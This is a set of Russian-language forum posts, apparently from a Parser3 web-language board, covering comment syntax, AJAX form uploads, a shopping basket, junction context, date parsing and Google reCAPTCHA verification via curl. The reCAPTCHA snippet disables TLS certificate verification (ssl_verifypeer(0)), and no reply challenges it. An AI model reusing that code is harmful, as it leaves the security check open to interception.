В каких случаях удобно писать четыре символа до блока, потом один после, если можно выделить блок и нажать две клавиши?\
\
Я могу себе представить только одну ситуацию, когда это удобнее # в начале строки: работа в Блокноте или аналогичном по функционалу редакторе, который либо не понимает синтаксиса Парсера и не умеет комментировать строки, либо не поддерживает многострочное или колоночное выделение.\
\
Rem сам по себе довольно странен, а недокументированная, но известная требовательность к корректному синтаксису внутри комментария сводит его применимость фактически к нулю."
"83897","Не я писал документацию, но мне так кажется, что с документацией все относительно в порядке, если ее понимать буквально: \"Используется для комментирования блоков кода\". То есть во-первых, это должен быть код, а значит подразумевается синтаксическая корректность. Во-вторых, речь о блоке кода. В моем понимании два метода - это не блок кода, блок кода например на C++ это что-то в фигурных скобках. Так и здесь получается - если можно поставить ^rem{} и ничего не развалилось - это блок кода. А если развалилось - значит это просто был не блок кода. :)\
Ну а по сути думаю там просто примеров надо добавить."
"83898","Ну для блоков действительно использую full-line-овый\
ибо sublime editor и всё такое...\
\
а вот для комментария до конца строки - альтернатив нет, а используется повсеместно.\
\
В итоге, чтобы всё как-то более менее читабельно смотрелось приходится применять такой стиль:\
\
[code]\
\
# some block\
# of\
# code\
\
$param[           ^rem{#  параметры  }\
  $.blur(true)    ^rem{#  размытие true/false  }\
]                 ^rem{#  но вот тут надо быть осторожным чтобы не вляпаться }\
                  ^rem{#  в невалидный синтаксис }\
[/code]\
\
P.S.: Как стало очевидно, на самом деле не хватает хард-коммента от начала спец-последовательности до конца строки. Именно блоки реально живут на обычных #full-line\
\
\
Может есть какие-то идеи как это может выглядеть?"
"83899","Что характерно, в случае с хешем можно писать так:\
[code]$param[           параметры\
  $.blur(true)    размытие true/false\
][/code]\
\
Комментарии до конца строки иногда нужны, но использовать для них rem я бы не стал.\
И написал бы чуть более громоздко, зато прекрасно работающее, включаемо-выключаемое шорткатами и сдвигаемое в обе стороны:\
[code]# параметры\
$param[\
#	размытие true/false\
	$.blur(true)\
][/code]"
"83900","При подписи к чему-то конфигообразному над-строчные комменты сильно увеличивают\
объем и убивают компактность и читабельность. \
\
[code]\
\
$flag_a(true)   ^rem{# <-- задаем то    }\
$flag_b(false)  ^rem{# <-- дизаблим это  }\
$param_c(100)   ^rem{# <-- int 0..255   } \
\
\
[/code]\
\
А ^rem{},  потому что по-другому нельзя (кроме хеша)\
 # для наглядности, глазу что это коммент\
\
в принципе сейчас только парит, что внутри моего ^rem{#  }\
все еще активное синтаксическое пространство Парсера, а хотелось\
бы иметь там мертвую строку, подобно #комментарию-на-всю-строку"
"83901","Реализовано в HEAD."
"83902","Потестирую.\
\
Позволит убрать несколько костылей."
"83903","Сорри, не сразу нашел что искал, выпалил сгоряча.\
\
http://www.parser.ru/forum/?id=79830\
\
Вот тут то, что искал. В плане, что Миша окончательной версией не совсем доволен, но апдейта нет.\
\
Видимо, лучшее решение -- пройтись по коду и закомментить его для себя и под себя."
"83904","Нужно написать три вещи:\
— Хранилище пользователей.\
— Запись, чтение и проверку аутентификационного токена в куках.\
— Хранилище прав пользователей.\
\
Первые две вещи достаточно универсальные — это аутентификация. Пишется очень просто.\
\
Третья часть — авторизация — зависит от вашей конкретной задачи. Если я правильно помню, у Миши реализована модель ACL — xраняться и вычисляются права для объектов. Число объектов любое, число прав ограничено количеством битов в целом числе. Я так понимаю, что это хорошо ложиться на модель данных Имрпиматура.\
\
У меня всегда была другая задача — задавать права на действия над системой. Права на объекты мне почти никогда не нужны. Поэтому использую систему прав и ролей. У меня может быть неограниченное число прав, которые можно группировать в роли и присваивать пользователю.\
\
Что подойдет для вашей задачи я не знаю. Самому написать авторизацию всегда полезно. Я в десять лет назад разобрался с Мишиным классом и сделал свои. :)"
"83905","Третий пункт, я так  понимаю прaктически как в SMF = comma-delimited rights внутри одной группы?"
"83909","Не уверен, в тему или нет, но понадобилось разбирать дату вида:\
[quote]2016-12-09T22:00:00+0300[/quote]\
dtf на это ругается, а именно не понимает часть +0300.\
Что посоветуете? Изобретать велосипед, допиливая dtf или, возможно, есть готовое решение?"
"83911","[code]$date[^date::create[2017-01-20T20:00:00+0300]][/code]\
Parser 3.4.4 выдает ошибку:\
[quote]invalid timezone '+0300'[/quote]"
"83912","Там написано какой должен быть формат таймзоны. Вставить двоеточие в нужное место — не проблема\
\
Если почему-то захочется без хаков, то разберите строку с датой регуляркой, создайте дату в UTC и сдвиньте на нужное число часов и минут."
"83915","помогите с функцией, как начинающему \
\
я забираю по http строки json подобного вида:\
[code]\
{\
	\"text\":\"some text #tag some text @mention some text\",\
	\"entities\":{\
		\"0\":{\
			\"text\":\"#tag\",\
			\"type\":\"hashtag\",\
			\"offset\":10,\
			\"length\":4\
		},\
		\"1\":{\
			\"text\":\"@mention\",\
			\"type\":\"mention\",\
			\"offset\":25,\
			\"length\":8\
		}\
	}\
}\
[/code]\
\
теперь хочу отформатировать строку в подобный вид:\
[code]\
some text <tab>#tag</tag> some text <mention>@mention</mention> some text\
[/code]\
намучился уже c regexp`ами и [code]^str.mid($offset;$length)[/code], не получается :("
"83916","[code]$json[^json:parse[^taint[as-is;$file.text]]][/code]\
\
P. S. Научитесь заполнять поле «заголовок»."
"83917","C этим-то я разобрался, спасибо, вопрос не в этом.\
\
как мне в строке $str[sometext A sometext]\
заменить \"A\" на \"B\", зная что у символа \"A\" отступ $offcet(9) и длинна $length(1).\
\
просто найти нигде не могу, это regex`ом делается? как поменять символ зная его смещение, а не то, что это символ \"A\"\
\
P.S. извиняюсь за заголовок"
"83918","то, например, так:\
\
[code]$data[^json:parse[…]]\
$text[$data.text]\
$offset(0)\
\
^data.entities.foreach[;tag]{\
	^tag.offset.inc($offset)\
\
	$before[^text.left($tag.offset)]\
	$content[^text.mid($tag.offset;$tag.length)]\
	$after[^text.mid($tag.offset + $tag.length)]\
\
	$fragment[<$tag.type>$content</$tag.type>]\
\
	^offset.inc(^fragment.length[] - $tag.length)\
\
	$text[${before}${fragment}$after]\
}\
\
$text[/code]\
\
Неизвестно может ли содержимое тега повторяться.\
То, что тег — это type я додумал.\
\
\
В целом, [url=http://www.parser.ru/faq/#q394]здесь принято подробно описывать задачу и приводить тот код, который вы уже написали[/url], разобрав задачу и попытавшись её решить."
"83919","Добрый день!\
Возникла проблема при разработке.\
Суть работы понял, сделал отправку всей формы, но только если в форме есть файл, она не отправляется.\
Перечитал форум и документацию, посмотрел примеры и не могу понять почему не работает.\
\
Пробовал разные вариации, и req.send(data); и req.send({data});\
Пробовал отдельно отправлять файл <input type=\"button\" name=\"send\" value=\"Отправить\" onclick=\"doLoad('form', 'post', this.form.file)\">\
Ничего не работает, а в примерах работает, различия с примером у меня минимальны.\
\
Ниже содержимое файла index.html\
[code]@main[]\
<!DOCTYPE html>\
<html>\
\
<head>\
    <meta charset=\"utf-8\">\
    <title>sens</title>\
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0\">\
    <script type=\"text/javascript\" src=\"//code.jquery.com/jquery-1.10.2.js\"></script>\
    <script type=\"text/javascript\" src=\"//code.jquery.com/ui/1.11.4/jquery-ui.js\"></script>\
    <!--[if IE]>\
	<script src=\"http://html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\
    <![endif]-->\
    <script type=\"text/javascript\" src=\"/bulk/js/JsHttpRequest.js\"></script>\
</head>\
\
<body>\
    <div id=\"content\">\
        ^js[/0/load.html]\
\
        <form name=\"sendForm\" id=\"sendForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\" onsubmit=\"return false\">\
            <input type=\"text\" name=\"name\" placeholder=\"Имя\">\
            <input type=\"text\" name=\"email\" placeholder=\"Электронная почта\">\
            <input type=\"text\" name=\"login\" placeholder=\"Логин\">\
            <input type=\"text\" name=\"pass\" placeholder=\"Пароль\">\
            <input type=\"file\" name=\"file\">\
            <input type=\"button\" name=\"send\" value=\"Отправить\" onclick=\"doLoad('form', 'post', this.form)\">\
        </form>\
\
        <div id=\"result\" style=\"border:1px solid #000; padding: 5px; margin: 10px 0px;\">\
            Structured results\
        </div><br>\
        <div id=\"debug\" style=\"border:1px dashed red; padding: 5px; margin: 10px 0px;\">\
            Debug info\
        </div>\
    </div>\
</body>\
\
</html>\
\
\
\
@js[sLoaderUri]\
<script type=\"text/javascript\" language=\"JavaScript\">\
    function doLoad(loader, method, data) {\
        var req = new JsHttpRequest();\
\
        req.onreadystatechange = function() {\
            if (req.readyState == 4 && req.responseJS) {\
                document.getElementById('result').innerHTML = req.responseJS;\
                document.getElementById('debug').innerHTML = req.responseText;\
            }\
        }\
        req.caching = false;\
        req.loader = loader;\
        req.open(method, '$sLoaderUri', true);\
\
        req.send(data);\
    }\
</script>\
[/code]\
\
Ниже содержимое файла load.html\
[code]@USE\
/bulk/genus/JSHttpRequest.p\
\
@main[]\
^JSHttpRequest:init[\
	$.bAllowUnicodeChars(1)\
#	$.bOldStyle(1)\
#	$.sJsClassName[Subsys_JsHttpRequest_Js]\
]\
$hRequest[^JSHttpRequest:decodeRequest[]]\
$sDebugMessage[\
	<pre>\
		<b>QUERY_STRING:</b> $request:query\
		<b>Request method:</b> $env:REQUEST_METHOD\
		<b>Content-Type:</b> $env:CONTENT_TYPE\
		<b>Loader used:</b> ^JSHttpRequest:getLoader[]\
		^printFormContent[$hRequest]\
	</pre>\
]\
\
^JSHttpRequest:printResponse[$sDebugMessage;\
	^json:string[$hRequest]\
]\
\
^printDebugInfo[$hRequest]\
\
@printDebugInfo[hRequest][sFields;sKey;sValue;dtNow;sDebugInfo]\
$sFields[^hRequest.foreach[sKey;sValue]{$sKey=$sValue}[&]]\
\
$dtNow[^date::now[]]\
$sDebugInfo[^dtNow.sql-string[]	$env:REQUEST_METHOD	$request:query	$request:body	^JSHttpRequest:getId[]	$sFields	message: $iMessageId^#0A]\
^sDebugInfo.save[append;JSHttpRequest.log]\
\
@printFormContent[hRequestData]\
^hRequestData.foreach[field;value]{\
   ${field}: ^if($value is \"file\"){[file] name: $value.name, size: $value.size ^rem{, content-type: $value.content-type}}{$value}\
}[<br>]\
[/code]"
"83920","Следует либо использовать $('#field')[0].files, либо FormData(), который появился относительно недавно и работает не везде, и формировать массив данных самостоятельно.\
\
Неясно зачем вы используете JsHttpRequest, когда в jQuery есть всё и даже больше."
"83921","Спасибо за ценный совет, все получилось, понял как передавать и получать данные.\
\
Выкладываю ниже код, который может кому нибудь пригодиться:\
index.html\
[code]@main[]\
<script type=\"text/javascript\" src=\"//code.jquery.com/jquery-1.10.2.js\"></script>\
<script type=\"text/javascript\" src=\"//code.jquery.com/ui/1.11.4/jquery-ui.js\"></script>\
<script type=\"text/javascript\" src=\"/ajax.js\"></script>\
\
$sLoaderUri[/load.html]\
<form name=\"sendForm\" id=\"sendForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\" onsubmit=\"return false\">\
    <input type=\"text\" name=\"name\" placeholder=\"Имя\">\
    <input type=\"text\" name=\"email\" placeholder=\"Электронная почта\">\
    <input type=\"text\" name=\"login\" placeholder=\"Логин\">\
    <input type=\"text\" name=\"pass\" placeholder=\"Пароль\">\
    <input type=\"file\" name=\"file\">\
    <input type=\"submit\" name=\"send\" value=\"Отправить\" onclick=\"doLoad('$sLoaderUri', this.form)\">\
</form>\
\
<div id=\"result\"></div><br>\
<div id=\"error\"></div>[/code]\
\
ajax.js\
[code]function doLoad(uri, fields) {\
    $.ajax({\
        type: 'POST',\
        enctype: 'multipart/form-data',\
        contentType: false,\
        processData: false,\
        cache: false,\
        url: uri,\
        data: new FormData(fields),\
        success: function(data) {\
            $('#result').html(data);\
        },\
        error: function(xhr, str) {\
            $('#error').html('Возникла ошибка: ' + xhr.responseCode);\
        }\
    });\
}[/code]\
\
load.html\
[code]@main[]\
^json:string[$request:body]<br><br>\
^json:string[$form:fields][/code]"
"83922","Осталось указать обязательный атрибут формы «action» и использовать путь оттуда для передачи данных.\
А так же отказаться от навязчивого JS, переделав [code]onclick=\"doLoad('$sLoaderUri', this.form)[/code] в [code]$('#sendForm').on('submit', function(){…})[/code]."
"83923","Это сделано для того, чтобы не было привязки к форме, хочу разные формы по разному обрабатывать передавая в $sLoaderUri разные обработчики.\
В JS не силен и не знаю много, то что получилось для меня сюрприз, не думал что все заработает.\
\
Мне для универсальности как лучше поступить?\
[code]\
<form name=\"sendForm\" id=\"sendForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\" action=\"$sLoaderUri\" onsubmit=\"return false\">\
...\
</form>\
[/code]\
\
Как сделать чтобы в $('#sendForm').on('submit', function(){…})\
#sendForm передавался динамически?\
Допустим разные формы с разными ID, чтобы код ajax не повторять?\
\
И получается в\
[code]$.ajax({\
    ...\
    url: uri,\
    ...\
});[/code]\
не нужно указывать url, если есть action=\"\"?"
"83924","[quote]Мне для универсальности как лучше поступить?\
<form name=\"sendForm\" id=\"sendForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\" action=\"$sLoaderUri\" onsubmit=\"return false\">\
...\
</form>\
[/quote]\
\
Да, у формы нужно обязательно указать action.\
Более того, форма должна работать обычным образом и очень неплохо уметь принимать данные и классическим способом.\
\
В случае, если AJAX-загрузка не сработает или будет недоступна по каким-либо причинам, скажем, будут проблемы с загрузкой или интерпретацией скриптов, пользователь всё равно сможет отправить данные.\
\
А это, в свою очередь, значит, что добавлять JS-обработку формам нужно не сразу, а после загрузки страницы.\
Если что-то пойдёт не так, форма будет работать без JS и данные всё равно можно будет отправить.\
\
[code]$(function(){\
	$('.ajax-form').on('submit', function(){\
		…\
		return false;\
	});\
})[/code]\
\
Иначе return false отключит submit формы (что и требуется после добавления AJAX-обработки) сразу и сделает форму работоспособной только с JS.\
\
[quote]\
Как сделать чтобы в $('#sendForm').on('submit', function(){…})\
#sendForm передавался динамически?\
Допустим разные формы с разными ID, чтобы код ajax не повторять?\
[/quote]\
\
Привязываться не к ID, а, например, к классу.\
Вариантов масса.\
\
[code]$('.simple-ajax-form').on('submit', function(){…})\
\
$('.complex-ajax-form').on('submit', function(){…})[/code]\
\
[quote]\
И получается в\
$.ajax({\
    ...\
    url: uri,\
    ...\
});\
не нужно указывать url, если есть action=\"\"?[/quote]\
\
В функции просто нужно будет брать значение атрибута формы, это будет работать при любом action.\
[code]$('.simple-ajax-form').on('submit', function(){\
	var $this = $(this),\
		url = $this.attr('action'),\
		method = $this.attr('method');\
	…\
	$.ajax({\
		…\
	    	method: method,\
		url: url,\
		…\
	});\
})[/code]"
"83925","Ваши рекомендации просто великолепны, действительно работает универсально.\
\
Написал специально для окна авторизации:\
\
[code]$(function() {\
    $('#loginForm').on('submit', function() {\
        var $this = $(this),\
            url = $this.attr('action'),\
            method = $this.attr('method');\
        $.ajax({\
            type: 'POST',\
            enctype: 'multipart/form-data',\
            contentType: false,\
            processData: false,\
            cache: false,\
            method: method,\
            url: url,\
            data: new FormData(this),\
            success: function(data) {\
                $('#result').html('<centter><p>Вы успешно зашли на сайт :)</p></center>');\
                setTimeout(function() {\
                    window.location.reload();\
                }, 1000);\
            },\
            error: function(xhr, str) {\
                $('#error').html('<centter><p>Вы ввели неверный логин или пароль :(</p><p>Попробуйте еще раз!</p></center>');\
            }\
        });\
        return false;\
    });\
})[/code]"
"83926","[code]$(document).ready(function(){\
  function basket() {\
    $.ajax({\
        enctype: 'multipart/form-data',\
        contentType: false,\
        processData: false,\
        cache: false,\
        url: '/bulk/ajax/basket.html',\
        success: function(value) {\
            $('#basket').html(value);\
        }\
    });\
  }\
  setInterval(basket, 1000);\
});[/code]"
"83927","Какова его цель?\
Зачем секундная задержка?\
\
[code]$.ajax({\
        enctype: 'multipart/form-data',\
        contentType: false,\
        processData: false,\
        cache: false,\
        url: '/bulk/ajax/basket.html',\
        success: function(value) {\
            $('#basket').html(value);\
}[/code]\
можно записать так:\
[code]$('#basket').load('/bulk/ajax/basket.html')[/code]"
"83928","Не знаю как лучше сделать корзину, чтобы данные в ней обновлялись автоматически, для этого сделал секундную задержку.\
С JS особо не дружу, и не знаю как передавать парсерные данные в AJAX, знаю что JSON или хэш но как это написать и как сделать обновление корзины при условии изменения данных в ней.\
Если только привязать обновление при условии нажатия на кнопку Добавить в корзину, но меня это не устраивает, хочу независимую, чтобы сама все делала, без привязки к элементам."
"83929","В отсутствие широко распространённых технологий поддерживаемых соединений клиент-сервер (есть websockets, но нам он по ряду причин не подходит) варианта асинхронного обновления контента два:\
1. запрос данных с сервера при наступлении некоего события (добавление в корзину);\
2. периодический запрос данных по таймеру.\
\
[quote]Если только привязать обновление при условии нажатия на кнопку Добавить в корзину, но меня это не устраивает, хочу независимую, чтобы сама все делала, без привязки к элементам.[/quote]\
\
Очевидно, что событие добавления в корзину как нельзя лучше подходит для обновления данных.\
Ведь корзина между событиями добавления / удаления остаётся неизменной, а значит не смысла обновлять данные о ней между событиями.\
\
Единственная тонкость — работа в несколько окон, когда один клиент может изменять корзину параллельно.\
Но и это не проблема, особенно, если не ставить задачи обновлять корзину в фоновой вкладке, при действиях в других вкладках.\
\
Делать это каждую секунду — перебор.\
Десять клиентов будут делать десять запросов в секунду, вы положите свой сайт такими запросами.\
\
В дополнение, в достаточно современными браузерами поддерживается [url=https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API]событие «visibilitychange»[/url], подписка на которое позволяет знать, что окно стало активно или неактивно.\
Переключение фокуса на вкладку можно использовать в качестве сигнала к обновлению и обновлять данные только тогда, когда вкладкой кто-то пользуется."
"83931","Получается вот этот код работает. Он вполне приемлем с точки зрения реализации?\
[code]$(function() {\
    $('.add-basket').on('click', function() {\
        $('#basket').load('/bulk/ajax/basket.html');\
    });\
})[/code]\
Работать с корзиной буду через индентификатор в куках, а содержимое записывать либо в БД или лучше в файл?\
Записывать собираюсь:\
ID корзины\
ID товара\
Название\
Стоимость\
\
Это только по корзине, соответственно будет отдельно таблица с заказами."
"83932","Посоветуйте, как лучше организовать аутентификацию, а именно валидность сессии.\
Какие параметры передаются в класс сейчас:\
\
[code]$init[^init::setup[\
  $.user_cID[^if(def $cookie:cID){$cookie:cID}{false}] #ID пользователя в счетчике\
  $.user_sID[^if(def $cookie:sID){$cookie:sID}{false}] #ID сессии пользователя\
  $.user_IP[$env:REMOTE_ADDR] #IP пользователя\
  $.user_agent[$env:HTTP_USER_AGENT] #User Agent пользователя\
  $.user_time[^date::now[]] #Текущая дата\
  $.user_page[$request:uri] #Текущая страница\
]]\
$exist[^init.session_check[]]\
\
$exist.uID\
$exist.login\
и т.д.\
[/code]\
\
Если нет авторизации, то $exist будет false\
\
Результатом работы является запись в БД о посещенных страницах и проверка пользователя на авторизацию.\
\
Как мне передавать эти параметры допустим в /session.html, обрабатывать их как сейчас и извлекать актуальные данные на проверку авторизации в разных частях кода."
"83933","[quote]Получается вот этот код работает. Он вполне приемлем с точки зрения реализации?[/quote]\
\
Если считать, что при обработке этого же клика происходит добавление товара в корзину и остаётся только загрузить и отобразить новое содержимое, то да.\
\
[quote]а содержимое записывать либо в БД или лучше в файл[/quote]\
\
Зависит от вашей архитектуры.\
Хотя, мне сложно представить цели, оправдывающие работу с файлами вместо базы данных.\
\
\
По-моему, дискуссия вышла за пределы изначальной темы и обсуждаются слишком общие вопросы."
"83934","А если считать, что есть допустим 4 кнопки:\
+\
-\
Удалить\
В корзину\
\
У всех кнопок разные классы, не могу в голове своей понять, как мне все в основном делать парсером, так как его понимаю, а меньшую часть jQuery?\
\
Механизм Я представляю так:\
Нажали кнопку В корзину, нужно передать параметр ID товара в обработчик, в обработчике извлечь товар из БД и записать в таблицу корзины.\
\
Нажали кнопку или - или + (или в инпуте записали количество), передали соответствующий параметр в обработчик и изменили значение для товара в таблице корзины.\
\
Нажали кнопку удалить, передали параметр в обработчик и удалили из таблицы корзины товар с привязкой к сессии корзины (куки)\
\
В коде AJAX Я усвоил то, что при передачи формы, в обработчике можно извлекать значение полей формы, но как мне передавать и извлекать данные, если скрытыми формами пользоваться не хочу, так как считаю их не безопасными?\
\
[code]$(document).ready(function(){\
  function basket(basket_id, item_id, name, price, count, action) {\
    var item = {\
      bID: basket_id,\
      iID: item_id,\
      name: name,\
      price: price,\
      count: count,\
      action: action\
    }\
    $.ajax({\
        enctype: 'multipart/form-data',\
        contentType: false,\
        processData: false,\
        cache: false,\
        url: '/bulk/ajax/basket.html',\
        data: item,\
        success: function(data) {\
            $('#basket').html(data);\
        }\
    });\
  }\
})\
\
<div id=\"content\">\
    <div class=\"add-basket\" onclick=\"basket('1', '1', 'name', '10', '1', 'action')\">Купить</div>\
    <div id=\"basket\"></div>\
</div>\
[/code]\
\
Так не работает, разве что то не правильно?\
\
Обсуждение идет в контексте первой темы, это обмен данными."
"83935","[quote]как мне передавать и извлекать данные, если скрытыми формами пользоваться не хочу, так как считаю их не безопасными?[/quote]\
\
Не нужно никаких скрытых форм.\
\
[code]$('.my-button').on('click', function(){\
	$.post('/backet/put/', {\
		'product': product,\
		…\
	}, function(html){\
		$('.my-result').html(html);\
	})\
});[/code]\
\
[quote]Обсуждение идет в контексте первой темы, это обмен данными.[/quote]\
\
Вам необходимо ознакомиться с азами работы клиент-серверных приложений, в том числе асинхронных взаимодействий.\
Форум, всё же, тематический, а данные вопросы никакого отношения к Парсеру не имеют."
"83936","Можно ли обойтись без process?\
\
Смысл задачи:\
 Есть стек процедур (хеш), где у каждой записи\
 есть какие-то мета-поля и собственно ссылка на сам вызов/метод.\
\
Затык:\
 Но при обходе foreach-ем, junction оказывается внутри контекста foreach\
 и поэтому не получается его вызвать\
\
\
Локализованно:\
\
[code]\
@main[]\
\
$myobj[^MyClass_Base::create[]]\
^myobj.runMap[]\
\
#----\
@CLASS\
MyClass_Base\
\
@create[][locals]\
$self.Map[\
  $.do_smth1[ $.Type[A] $.Run{^func_do_smth1[ab]} ]\
  $.do_smth2[ $.Type[B] $.Run{^func_do_smth2[ab]} ]\
]\
\
@func_do_smth1[_var][locals]\
$result[hello $_var]\
\
#...\
\
@runMap[][locals]\
^self.FMap.foreach[_k;_v]{\
   $_v.Run\
}\
$result[]\
[/code]\
\
\
Получаю: junction used outside of context\
т.е. я внутри контекста foreach, а мне надо исполниться в контексте $self\
с process`ом понятно, а вот без, что-то не пойму можно ли."
"83937","Контекст сохранить нельзя.\
Ссылку на метод — можно.\
\
[code]@main[]\
$map[\
	$.a[$a]\
	$.b[$b]\
]\
\
^map.foreach[name;method]{\
	$name ^method[=$name=]\
}\
\
@a[arg]\
$result[$arg]\
\
@b[arg]\
$result[$arg]\
[/code]"
"83938","Спасибо, точно.\
\
Ведь в первую же очередь пробовал так же, но забыв\
почему-то про квадратные скобки, тщетно загонял ссылку на метод в фигурные, получая то же самое.\
\
И кстати, к слову о \
[quote]Контекст сохранить нельзя.[/quote]\
\
Сбило с толку, что тогда подразумевается в документации про junction?\
[quote]Класс предназначен для хранения [b]кода и контекста его выполнения[/b]. \
При обращении к переменным, хранящим в себе junction, Parser выполняет код в [b]сохраненном контексте[/b]. \
[/quote]\
\
src: http://www.parser.ru/docs/lang/?junctionclass.htm"
"83939","[quote]Сбило с толку, что тогда подразумевается в документации про junction?[/quote]\
\
Константин, быть может, меня поправит.\
Контекст сохраняется пока существует метод.\
\
[code]@main[][locals]\
$var[666]\
\
^a{[$var]}\
\
@a[code][locals]\
^b[$code]\
\
@b[code][locals]\
$code[/code]\
\
По выходу из метода его переменные становятся недоступны, это и есть «outside of context».\
\
Формулировка в документации, конечно, не самая удачная.\
\
Плюс, документация молчит о том, что существует два вида juction — code и method.\
Первый совсем временный и взрывается в руках — выполняется при обращении, второй — ссылка на метод, живёт дольше, легко передаётся.\
Контекст важен для первого вида."
"83941","> Контекст важен для первого вида.\
\
Не совсем так. Контекст - это то, откуда считываются переменные и куда они записываются. И в случае $code{ some code }, и в случае $method[$some_method] этот контекст сохраняется. Только в первом случае контекст существует, пока работает текущий метод, во втором контекст существует всегда, это может быть как класс $m[$class:method], так и конкретный объект $m[$object.method]."
"83942","[quote]Сделано, как и ^table.hash{…;…}.[/quote]\
\
Пробую на 3.4.5b дословно:\
[code]@main[]\
$table[^table::create{id	url	fname	sname\
1	/jj/	John	Johnson\
2	/pp/	Peter	Peterson}]\
$hash[^table.hash[id;;$.type[string]]][/code]\
получаю\
[i]you can specify only one value field with option $.type[string][/i]."
"83943","Оно работало только для ^table.hash[id;;$.type[hash]]. :) Поправил условие и добавил в тесты искомый вариант, почему-то только ^table.hash[id;] и тестировался..."
"83945","Привет, коллеги! Иногда клиент (скажем, странный встроенный броузер symbian) игнорирует требования кодировки и приходят вот такие запросы: \
/autocomplete.htm?callback=jQuery1720487&term=&#65533;&#65533;&#65533;&#65533;&#65533;%20&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;,&#65533;&#65533;\
Когда я обрабатываю поле term регексом, например таким ^(.*?[аеиоуыэюя])(.*)$ \
выходит ошибка \
UTF-8 validation failed during pcre_exec (-10).\
\
Посоветуйте, как это можно красиво обойти? \
- создать свой класс на основе regex, в котором игнорировать подобные ошибки? Выглядит пушкой по воробьям. \
- делать автозамену до попадания строки в регекс? Я не знаю, что там за символы и сколько их. Таблица замены может получиться слишком большой и все равно неполной."
"83947","Можно ли в имени переменной использовать дефис? Например, $sample-var.\
\
Я столкнулся с тем, что если такие переменные использовать в операторе ^if, то приходится саму переменную оборачивать в фигурные скобки. Иначе не работает.\
\
Т.е. приходится писать вот так ^if(${sample-var})...\
\
Или для Парсера приличней вместо дефиса в переменных использовать нижнее подчеркивание?"
"83948","Единственное место, где придётся использовать дополнительную разметку для устранения неоднозначности — условия.\
Так как дефис там будет расцениваться как минус в математическом выражении.\
\
Если же не хочется постоянно помнить об этой тонкости, то безопасней использовать подчёркивание."
"83949","есть ли что-то кроме перебора columns?\
\
с ходу не нашел, а память уже не та"
"83951","Ясно. Спасибо за ответ!"
"83952","подвязываю реКапчу гуглевую:\
[code]\
 ^curl:session{ \
  ^curl:options[ \
    $.url[https://www.google.com/recaptcha/api/siteverify] \
    $.charset[UTF-8] \
    $.timeout(10) \
    $.ssl_verifypeer(0) \
  ] \
\
  $grCheck[^curl:load[ \
    $.url[https://www.google.com/recaptcha/api/siteverify] \
    $.postfields[secret=^taint[uri][$gRecapchaKey]&response=^taint[uri][${form:g-recaptcha-response}]&remoteip=^taint[uri][$env:REMOTE_ADDR]] \
    $.mode[text]\
    $.charset[UTF-8]\
  ]] \
 } \
\
 ^if(def $grCheck && $grCheck is file){\
    $grResult[^json:parse[$grCheck.text]]\
    ^if(def $grResult && def $grResult.success && $grResult.success){\
        ^form_store(pID)\
        ^record_show[$pID]\
     }{^throw[recapcha_failed]}\
 }{^throw[recapcha_respond_error]}\
[/code]\
\
вылетает на ошибке:\
[code]\
illegal quote escape, json may be tainted at line 1\
{\\n  \\\"success\\\": false,\\n  \\\"challenge_ts\\\": \\\"2017-01-09T1\
     ^\
[/code]\
\
вот чуствую гдето тут \"$grResult[^json:parse[$grCheck.text]]\" ^taint|^untaint применить надо. но както не соображу какой..."
"83953","Данные из внешнего источника (загруженный файл) являются \"грязными\" (потенциально небезопасными). Раз вы им доверяете, что там json, данные надо сделать \"чистыми\".\
То есть должно быть ^json:parse[^untaint{$grCheck.text}] или ^json:parse[^taint[as-is][$grCheck.text]]."
"83954","[quote]вот чуствую гдето тут \"$grResult[^json:parse[$grCheck.text]]\" ^taint|^untaint применить надо. но както не соображу какой...[/quote]\
\
Ну нужно гадать.\
Стоит поискать по форуму, либо почитать документацию и попробовать.\
\
В данном случае поможет ^taint[as-is;…], либо ^untaint[]{…}.\
Лично я предпочитаю первый, так как он несколько яснее даёт понять, что происходит.\
\
\
Неясно зачем вы перечисляете опции в curl:options, а потом половину перечисленного указываете в curl:load.\
Неясно зачем, отправляя запрос методом POST, вы перечисляете поля в виде query string.\
\
[quote]^if(def $grCheck && $grCheck is file){[/quote]\
Там всегда будет файл и он всегда будет def, вы не проверяете ничего.\
Проверять нужно например, код ответа."
"83956","[quote] поможет ^taint[as-is;…], [/quote]\
\
спасибо\
\
\
[quote]Неясно зачем вы перечисляете опции в curl:options, а потом половину перечисленного указываете в curl:load.[/quote]\
сам не знаю. было подозрение что с оптионс не все применяется в лоад\
\
[quote]отправляя запрос методом POST, вы перечисляете поля в виде query string[/quote]\
\
в доке никак не описано иначе, как увидел, так и написал :)\
\
[quote]Там всегда будет файл и он всегда будет def[/quote]\
а вдруг потом чтото поменяется с библиотекой и не будет :) \
\
[quote]Проверять нужно например, код ответа.[/quote]\
\
код ответа кого? файла? или сессии? работа с curlом практически не описана :(\
status. Статус получения файла \
\
[quote]$файл.status \
 При выполнении file::cgi и file::exec в поле status попадает статус выполнения программы  (0=успех). \
 При выполнении file::load с HTTP сервера, сюда попадает статус выполнения HTTP запроса (200=успех). \
[/quote]\
\
про \"аналогично\" конечно догадываюсь, но возможно и неправ..."
"83957","[quote]не все применяется в лоад[/quote]\
\
В опциях стоит указать постоянные для сессии параметры, такие как таймаут, обязательные заголовки, например аутентификация и тому подобное.\
Остальное в load.\
\
[quote]в доке никак не описано иначе, как увидел, так и написал[/quote]\
\
http://www.parser.ru/docs/lang/curloptionsdesc.htm\
[i]httppost hash CURLOPT_HTTPPOST Поля post-запроса, заданные аналогично полю form для file::load[/i]\
\
[quote]а вдруг потом чтото поменяется с библиотекой и не будет[/quote]\
Прозорливее подготовиться к падению метеорита.\
\
[quote]Проверять нужно например, код ответа.\
код ответа кого? файла? или сессии? работа с curlом практически не описана[/quote]\
\
Код ответа того сервера, которому вы отправили запрос.\
Дело в не curl, а в обычном взаимодействии клиент—сервер.\
\
